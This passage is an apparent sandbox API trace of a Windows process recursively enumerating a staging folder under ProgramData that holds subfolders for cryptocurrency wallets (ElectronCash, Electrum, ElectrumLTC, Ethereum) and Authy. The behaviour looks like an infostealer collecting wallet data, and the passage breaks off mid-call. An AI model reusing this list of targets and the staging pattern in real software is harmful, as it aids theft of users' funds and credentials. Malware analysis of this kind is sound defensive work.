[0053.738] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.738] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0 [0053.738] FindClose (in: hFindFile=0x58a2c0 | out: hFindFile=0x58a2c0) returned 1 [0053.738] PathMatchSpecW (pszFile="Authy", pszSpec="*.*") returned 1 [0053.739] PathMatchSpecW (pszFile="Soft", pszSpec="*.*") returned 1 [0053.739] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.739] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.739] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.739] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.739] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.739] lstrcatW (in: lpString1="\\", lpString2="Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.739] lstrcmpW (lpString1="Wallets", lpString2=".") returned 1 [0053.739] lstrcmpW (lpString1="Wallets", lpString2="..") returned 1 [0053.739] lstrcpyW (in: lpString1=0x19ea84, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.739] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\*.*" [0053.739] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\*.*", lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 0x589dc0 [0053.739] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.739] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0053.739] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\." [0053.739] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.739] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0053.739] lstrcatW (in: lpString1="\\Wallets\\", lpString2="." | out: lpString1="\\Wallets\\.") returned="\\Wallets\\." [0053.739] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.739] FindNextFileW (in: hFindFile=0x589dc0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.739] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.739] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0053.739] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\.." [0053.741] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.741] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0053.741] lstrcatW (in: lpString1="\\Wallets\\", lpString2=".." | out: lpString1="\\Wallets\\..") returned="\\Wallets\\.." [0053.741] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.741] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.741] FindNextFileW (in: hFindFile=0x589dc0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.741] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.741] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0053.741] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="ElectronCash" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash" [0053.741] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.741] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0053.741] lstrcatW (in: lpString1="\\Wallets\\", lpString2="ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash" [0053.741] lstrcmpW (lpString1="ElectronCash", lpString2=".") returned 1 [0053.741] lstrcmpW (lpString1="ElectronCash", lpString2="..") returned 1 [0053.741] lstrcpyW (in: lpString1=0x19e0f8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash" [0053.741] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\*.*" [0053.741] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\*.*", lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0x58a300 [0053.741] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash" [0053.742] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\" [0053.742] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\." [0053.742] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash" [0053.742] lstrcatW (in: lpString1="\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="\\Wallets\\ElectronCash\\") returned="\\Wallets\\ElectronCash\\" [0053.742] lstrcatW (in: lpString1="\\Wallets\\ElectronCash\\", lpString2="." | out: lpString1="\\Wallets\\ElectronCash\\.") returned="\\Wallets\\ElectronCash\\." [0053.742] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.742] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 1 [0053.742] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash" [0053.742] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\" [0053.742] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\.." [0053.742] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash" [0053.742] lstrcatW (in: lpString1="\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="\\Wallets\\ElectronCash\\") returned="\\Wallets\\ElectronCash\\" [0053.742] lstrcatW (in: lpString1="\\Wallets\\ElectronCash\\", lpString2=".." | out: lpString1="\\Wallets\\ElectronCash\\..") returned="\\Wallets\\ElectronCash\\.." [0053.742] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.742] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.742] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0 [0053.742] FindClose (in: hFindFile=0x58a300 | out: hFindFile=0x58a300) returned 1 [0053.742] PathMatchSpecW (pszFile="ElectronCash", pszSpec="*.*") returned 1 [0053.742] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.742] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0053.742] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="Electrum" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum" [0053.742] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.742] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0053.742] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum" [0053.742] lstrcmpW (lpString1="Electrum", lpString2=".") returned 1 [0053.742] lstrcmpW (lpString1="Electrum", lpString2="..") returned 1 [0053.742] lstrcpyW (in: lpString1=0x19e0f8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum" [0053.743] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\*.*" [0053.743] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\*.*", lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0x589f40 [0053.743] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum" [0053.743] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\" [0053.743] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\." [0053.743] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum" [0053.743] lstrcatW (in: lpString1="\\Wallets\\Electrum", lpString2="\\" | out: lpString1="\\Wallets\\Electrum\\") returned="\\Wallets\\Electrum\\" [0053.743] lstrcatW (in: lpString1="\\Wallets\\Electrum\\", lpString2="." | out: lpString1="\\Wallets\\Electrum\\.") returned="\\Wallets\\Electrum\\." [0053.743] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.743] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 1 [0053.743] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum" [0053.743] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\" [0053.743] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\.." [0053.743] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum" [0053.743] lstrcatW (in: lpString1="\\Wallets\\Electrum", lpString2="\\" | out: lpString1="\\Wallets\\Electrum\\") returned="\\Wallets\\Electrum\\" [0053.743] lstrcatW (in: lpString1="\\Wallets\\Electrum\\", lpString2=".." | out: lpString1="\\Wallets\\Electrum\\..") returned="\\Wallets\\Electrum\\.." [0053.743] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.743] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.743] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0 [0053.743] FindClose (in: hFindFile=0x589f40 | out: hFindFile=0x589f40) returned 1 [0053.743] PathMatchSpecW (pszFile="Electrum", pszSpec="*.*") returned 1 [0053.743] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.743] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0053.743] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="ElectrumLTC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC" [0053.743] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.743] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0053.744] lstrcatW (in: lpString1="\\Wallets\\", lpString2="ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC" [0053.744] lstrcmpW (lpString1="ElectrumLTC", lpString2=".") returned 1 [0053.744] lstrcmpW (lpString1="ElectrumLTC", lpString2="..") returned 1 [0053.744] lstrcpyW (in: lpString1=0x19e0f8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC" [0053.744] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\*.*" [0053.744] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\*.*", lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0x58a2c0 [0053.744] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC" [0053.744] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\" [0053.744] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\." [0053.744] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC" [0053.744] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="\\Wallets\\ElectrumLTC\\") returned="\\Wallets\\ElectrumLTC\\" [0053.744] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC\\", lpString2="." | out: lpString1="\\Wallets\\ElectrumLTC\\.") returned="\\Wallets\\ElectrumLTC\\." [0053.744] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.744] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 1 [0053.744] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC" [0053.744] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\" [0053.744] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\.." [0053.744] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC" [0053.744] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="\\Wallets\\ElectrumLTC\\") returned="\\Wallets\\ElectrumLTC\\" [0053.744] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC\\", lpString2=".." | out: lpString1="\\Wallets\\ElectrumLTC\\..") returned="\\Wallets\\ElectrumLTC\\.." [0053.744] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.744] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.744] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0 [0053.744] FindClose (in: hFindFile=0x58a2c0 | out: hFindFile=0x58a2c0) returned 1 [0053.744] PathMatchSpecW (pszFile="ElectrumLTC", pszSpec="*.*") returned 1 [0053.744] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.744] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0053.745] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="Ethereum" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum" [0053.745] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.745] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0053.745] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Ethereum" | out: lpString1="\\Wallets\\Ethereum") returned="\\Wallets\\Ethereum" [0053.745] lstrcmpW (lpString1="Ethereum", lpString2=".") returned 1 [0053.745] lstrcmpW (lpString1="Ethereum", lpString2="..") returned 1 [0053.745] lstrcpyW (in: lpString1=0x19e0f8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum" [0053.745] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\*.*" [0053.745] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\*.*", lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0x58a200 [0053.745] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum" [0053.745] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\" [0053.745] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\." [0053.745] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\Ethereum" | out: lpString1="\\Wallets\\Ethereum") returned="\\Wallets\\Ethereum" [0053.745] lstrcatW (in: lpString1="\\Wallets\\Ethereum", lpString2="\\" | out: lpString1="\\Wallets\\Ethereum\\") returned="\\Wallets\\Ethereum\\" [0053.745] lstrcatW (in: lpString1="\\Wallets\\Ethereum\\", lpString2="." | out: 